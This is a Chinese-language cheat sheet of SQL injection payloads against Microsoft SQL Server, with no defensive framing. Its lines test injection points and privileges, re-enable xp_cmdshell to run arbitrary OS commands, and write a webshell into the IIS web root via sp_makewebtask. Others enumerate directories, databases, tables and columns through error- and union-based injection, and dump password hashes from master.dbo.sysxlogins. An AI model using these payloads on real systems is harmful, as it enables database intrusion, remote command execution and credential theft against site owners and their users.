MSSQL三个关键系统表:
1.master.dbo.sysdatabases系统表:该表位于master数据库中
MSSQL注入点的基本检查:
1.注入点类型的判断:and exists (select * from sysobjects)
2.注入点权限的判断:
and 1=(select is_srvrolemember('sysadmin')) //判断是否是系统管理员
and 1=(select is_srvrolemember('db_owner'))//判断是否是库权限
and 1=(select is_srvrolemember('public'))//判断是否为public权限
3.返回信息的判断:
and @@version>0 //数据库信息
;declare @d int //判断支持多行语句查询
and (select count(1) from [sysobjects])>=0 //是否支持子查询
and user>0 //获取当前数据库用户名
and 1=convert(int,db_name())或and 1=(select db_name()) // 当前数据库名
and 1=(select @@servername) //本地服务名
and 1=(select HAS_DBACCESS('master')) //判断是否有库读取权限
利用MSSQL扩展存储注入攻击:
1.检测扩展存储:(扩展存储过程,其实就是一个windows系统dll文件,安装某种规则实现了某些函数功能)
查询xp_cmdshell扩展存储:and 1=(select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell') //查看xp_cmdshell是否开启
查询xp_regread扩展存储:and 1=(select count(*) from master.dbo.sysobjects where name='xp_regread') //查看xp_regread是否开启
2.重启扩展存储:(mssql2005及以上版本默认是没有启动xp_cmdshell的,需要重新启动)
exec sp_configure 'show advanced option',1;
exec sp_configure reconfigure;
exec sp_configure 'xp_cmdshell',1;
exec sp_configure reconfigure;
或者在SQL操作命令中输入:exec sp_configure show advanced option,1;reconfigure;exec sp_configure xp_cmdshell,1;reconfigure;
3.恢复扩展存储:
删除xp_cmdshell:;exec master..sp_dropextendedproc 'xp_cmdshell'
创建xp_cmdshell: ;exec master..sp_addextendedproc xp_cmdshell,'xplog70.dll'
4.sa权限下扩展存储攻击方法:
xp_cmdshell扩展执行任意命令:
;exec master..xp_cmdshell 'dir c:\' //执行任意命令
xp_regwrite操作注册表与开启沙盒模式:
利用sp_makewebtash写入一句话木马:
;exec sp_makewebtask 'c:\inetpub\wwwroot\cimer.asp' ;select '木马文件'--
5.db_owner权限下扩展存储攻击方法:
判断数据库用户权限:and 1=(select is_member('db_owner'));--
搜索web目录:
创建一个表:;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
利用xp_dirtree扩展查询:;insert into temp (dir,depth,files) exec master.dbo.xp_dirtree 'c:',1,1--
查询表中的内容:and(select dir from temp where id=1)>0
MSSQL注入猜解数据库技术:
1.having与group by查询表名与字段名:
group by 字段名 having 1=1--
2.order by报错法查询注入技术:
查询当前数据库:and db_name()=0--
查询所有数据库名:and db_name(n)>0--
3.查询爆库的另一种方法:
查询所有数据库名:and 1=(select name from master.dbo.sysdatabases where dbid=1)-- //字段dbid代表库的id
查询当前数据库的所有表:and (select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc)=0
查询字段名:and (select col_name(object_id('表名’),n))=0
查询字段值:and (select top 1 字段名 from 表名)>0 and(select top 1 字段名 from 表名 where 字段名<>字段值1)>0 //操作符<>等于!=
4.union select查询注入技术:
匹配列数:and 1=2 union all select null,null,null from 表名
匹配数据类型:and 1=2 union all select 'a',null,null from 表名
查询所有数据库名:(select name from master.dbo.sysdatabases where dbid=1)
查询数据库所有表:(select top 1 name from (select top n name from sysobjects where xtype=0x75 order by name) t order by name desc) //字段xtype代表对象类型
查询字段名:(select col_name(object_id('表名'),n))
查询字段值:(select top 1 字段名 from 表名) (select top 1 字段名 from 表名 where 字段名<>字段值1)
窃取哈希口令:
SQL Server 2000中,哈希口令存储在master.sysxlogins表中
注入:select name,password from master.dbo.sysxlogins
SQL Server 2005哈希口令:一个4字节的常量,一个8字节的salt和一个40字节的大小写混合